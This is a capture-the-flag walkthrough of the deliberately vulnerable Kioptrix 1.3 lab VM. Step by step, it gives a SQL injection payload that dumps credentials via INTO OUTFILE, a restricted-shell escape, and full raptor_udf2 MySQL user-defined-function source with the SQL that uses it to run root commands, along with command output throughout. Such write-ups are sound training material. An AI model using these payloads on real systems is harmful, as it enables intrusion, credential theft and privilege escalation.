Kioptrix 1.3 ( #4)#

Welcome to 4th installment of my Kioptrix series. If you’re interested in other parts check out Kioptrix , Kioptrix 1.1 and Kiotrix 1.2 . These challenges (and writeups) are great place to start preparing for an OSCP certificate as they are quite similar to those in the PWK course.

Enough chatting, let’s pwn Kioptrix #4!

Description#

According to author’s description:

gain a long delay between VMs, but that cannot be helped. Work, family must come first. Blogs and hobbies are pushed down the list. These things aren’t as easy to make as one may think. Time and some planning must be put into these challenges, to make sure that:

1. It’s possible to get root remotely [ Edit: sorry not what I meant ]

1a. It’s possible to remotely compromise the machine

2. Stays within the target audience of this site

3. Must be “realistic” (well kinda…)

4. Should serve as a refresher for me. Be it PHP or MySQL usage etc. Stuff I haven’t done in a while.

I also had lots of troubles exporting this one. So please take the time to read my comments at the end of this post.

Keeping in the spirit of things, this challenge is a bit different than the others but remains in the realm of the easy. Repeating myself I know, but things must always be made clear: These VMs are for the beginner. It’s a place to start.

I’d would love to code some small custom application for people to exploit. But I’m an administrator not a coder. It would take too much time to learn/code such an application. Not saying I’ll never try doing one, but I wouldn’t hold my breath. If someone wants more difficult challenges, I’m sure the Inter-tubes holds them somewhere. Or you can always enroll in Offsec’s PWB course. *shameless plug

— A few things I must say. I made this image using a new platform. Hoping everything works but I can’t test for everything. Initially the VM had troubles getting an IP on boot-up. For some reason the NIC wouldn’t go up and the machine was left with the loopback interface. I hope that I fixed the problem. Don’t be surprised if it takes a little moment for this one to boot up. It’s trying to get an IP. Be a bit patient. Someone that tested the image for me also reported the VM hung once powered on. Upon restart all was fine. Just one person reported this, so hoping it’s not a major issue. If you plan on running this on vmFusion, you may need to convert the imagine to suit your fusion version.

— Also adding the VHD file for download, for those using Hyper-V. You guys may need to change the network adapter to “Legacy Network Adapter”. I’ve test the file and this one seems to run fine for me… If you’re having problems, or it’s not working for any reason email comms[=]kioptrix.com

Thanks to @shai_saint from www.n00bpentesting.com for the much needed testing with various VM solutions.

Thanks to Patrick from Hackfest.ca for also running the VM and reporting a few issues. And Swappage & @Tallenz for doing the same. All help is appreciated guys

So I hope you enjoy this one.

The Kioptrix Team

Recon#

So let’s start with recon. First, I identified what IP the Kioptrix 1.3 machine was assigned with and added it to my hosts file for better readability. I’ve covered it in my previous writeup, so I won’t repeat myself. Let’s get to our usual drill. First, nmap scan:

# nmap kioptrix4.com -sT -sV -O
-- snip --
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
-- snip --

When we see a SMB service it’s always worth trying to get some information out of it. As always there’s a lot information there but int this case I found only local users’ names useful later on:

# enum4linux kioptrix4.com
-- snip --
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\loneferret (Local User)
S-1-22-1-1001 Unix User\john (Local User)
S-1-22-1-1002 Unix User\robert (Local User)

I also ran some directory enum on the webserver:

# gobuster -u kioptrix4.com -w /usr/share/wordlists/dirb/common.txt -e -l

Low privlege shell#

Let’s continue poking the webserver. Index seems to be a login page:

Ligoat login page

Ligoat login page

Hoping for a SQL Injection I typed random username and password:

'
Sql error

Sql error

It seems to have broken the query, so SQL Injection confirmed! Let’s try to repair the query:

'#
Repaired query

Repaired query

This one works, so we have a working SQL Injection proof of concept. Unfortunately it seems to be blind- we can’t directly see queries’ result in the response. But what if could write them to a file? PHP error disclosed that HTTP server files are kept under /var/www/ path. Let’s store our result there!

Let’s use the vulnerability to dump users’ table:

' OR '1'='1' INTO OUTFILE '/var/www/john/tst.txt' #

Navigating to kioptrix4.com/john shows that it seems to have worked:

john directory listing

john directory listing

Opening the tst.txt file show users with plain-text passwords:

1	john	MyNameIsJohn
2	robert	ADGAdsafdfwt4gadfga==

They are the same as the system users disclosed by SMB service. Maybe the password match too?

# ssh john@kioptrix4.com
-- snip --
john@kioptrix4.com's password: MyNameIsJohn
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$

It worked! Now, on to privlege escalation:

Privlege escalation#

First attempts to use just acquired shell were not very successful:

john:~$ cd /
*** forbidden path -> "/"
*** You have 0 warning(s) left, before getting kicked out.
This incident has been reported.
john:~$ ls /home
*** forbidden path -> "/home/"
*** Kicked out
Connection to kioptrix4.com closed.

It seems that there is some limited shell in place. Let’s try to bypass it:

== Welcome LigGoat Employee ==
LigGoat Shell is in place so you  don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ ?
cd  clear  echo  exit  help  ll  lpath  ls

It seems to be allowing to use “ echo ” command. Let’s use it to run actual bash:

john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)

With proper shell in place let’s go for actual root:

john@Kioptrix4:~$ ps aux | grep root
-- snip --
root      4839  0.0  0.0   1772   528 ?        S    16:53   0:00 /bin/sh /usr/bin/mysqld_s
-- snip --

Great! It seems that MySql server is running with root privleges. But how could we exploit it? First let’s find MySql credentials. Obvious place to look would be in some webserver’s configs:

john@Kioptrix4:~$ cd /var/www
john@Kioptrix4:/var/www$ ls
checklogin.php  images     john               logout.php  robert
database.sql    index.php  login_success.php  member.php
john@Kioptrix4:/var/www$ cat checklogin.php 
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

No password to MySql root user? Oh well… But how do we exploit that to root entire system? We can use User Defined Function built in MySql server. Entire procedure is described in multiple places, for example here . My take:

Kioptrix doesn’t seem to have a gcc installed so I had to prepare User Defined Function binary on my attacer machine. First I downloaded a raptor_udf2.c file:

#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
    unsigned int arg_count; // number of arguments
    enum Item_result *arg_type; // pointer to item_result
    char **args; // pointer to arguments
    unsigned long *lengths; // length of string args
    char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
    char maybe_null; // 1 if func can return NULL
    unsigned int decimals; // for real functions
    unsigned long max_length; // for string functions
    char *ptr; // free ptr for func data
    char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
    if (args->arg_count != 1)
        return(0);
    system(args->args[0]);
    return(0);
}

Then built it locally:

# gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

For some reason most of my usual file transer tricks didn’t work here. So I had to use scp to copy files over SSH. But Kioptrix SSH server server also restricts this kind of communication, so I had to enable SSH on the attacker’s machine and run below command on victim:

john@Kioptrix4:~$ scp root@192.168.0.103:/root/Documents/kioptrix4/raptor_udf2.so raptor_udf2.so

Now I had to set up the MySql User Defined Function and then use it to run commands with root privleges:

ohn@Kioptrix4:~$ mysql -uroot                   
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 10
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> CREATE TABLE foo(line blob);
Query OK, 0 rows affected (0.13 sec)
mysql> insert into foo values(load_file('/home/john/raptor_udf2.so'));     
Query OK, 1 row affected (0.00 sec)
mysql> SELECT * FROM foo INTO dumpfile '/usr/lib/raptor_udf2.so';                                   
Query OK, 1 row affected (0.05 sec)
mysql> CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)
mysql> SELECT do_system('usermod -aG admin  john');
+------------------------------------+
| do_system('usermod -aG sudo john') |
+------------------------------------+
|                         8589934592 | 
+------------------------------------+
1 row in set (0.20 sec)

I used UDF to add john user to sudoers. If everything worked we should be able to upgrade our shell to root:

john@Kioptrix4:~$ sudo su
[sudo] password for john: MyNameIsJohn
root@Kioptrix4:/home/john# cd /root
root@Kioptrix4:~# ls
congrats.txt  lshell-0.9.12
root@Kioptrix4:~# cat congrats.txt 
Congratulations!
You've got root.
There is more then one way to get root on this system. Try and find them.
I've only tested two (2) methods, but it doesn't mean there aren't more.
As always there's an easy way, and a not so easy way to pop this box.
Look for other methods to get root privileges other than running an exploit.
It took a while to make this. For one it's not as easy as it may look, and
also work and family life are my priorities. Hobbies are low on my list.
Really hope you enjoyed this one.
If you haven't already, check out the other VMs available on:
www.kioptrix.com

Summary#

That’s all folks :) We’ve rooted Kioptrix 1.3. We exploited SQL Injection vulnerability to read user credentials from the database. Then, after escaping jailed shell we used SQL server misconfiguration (i.e. running as root) to create and then call User Defined Function as root. It allowed us to add our limited user to sudoers and finally, gain root privleges. Thanks for reading!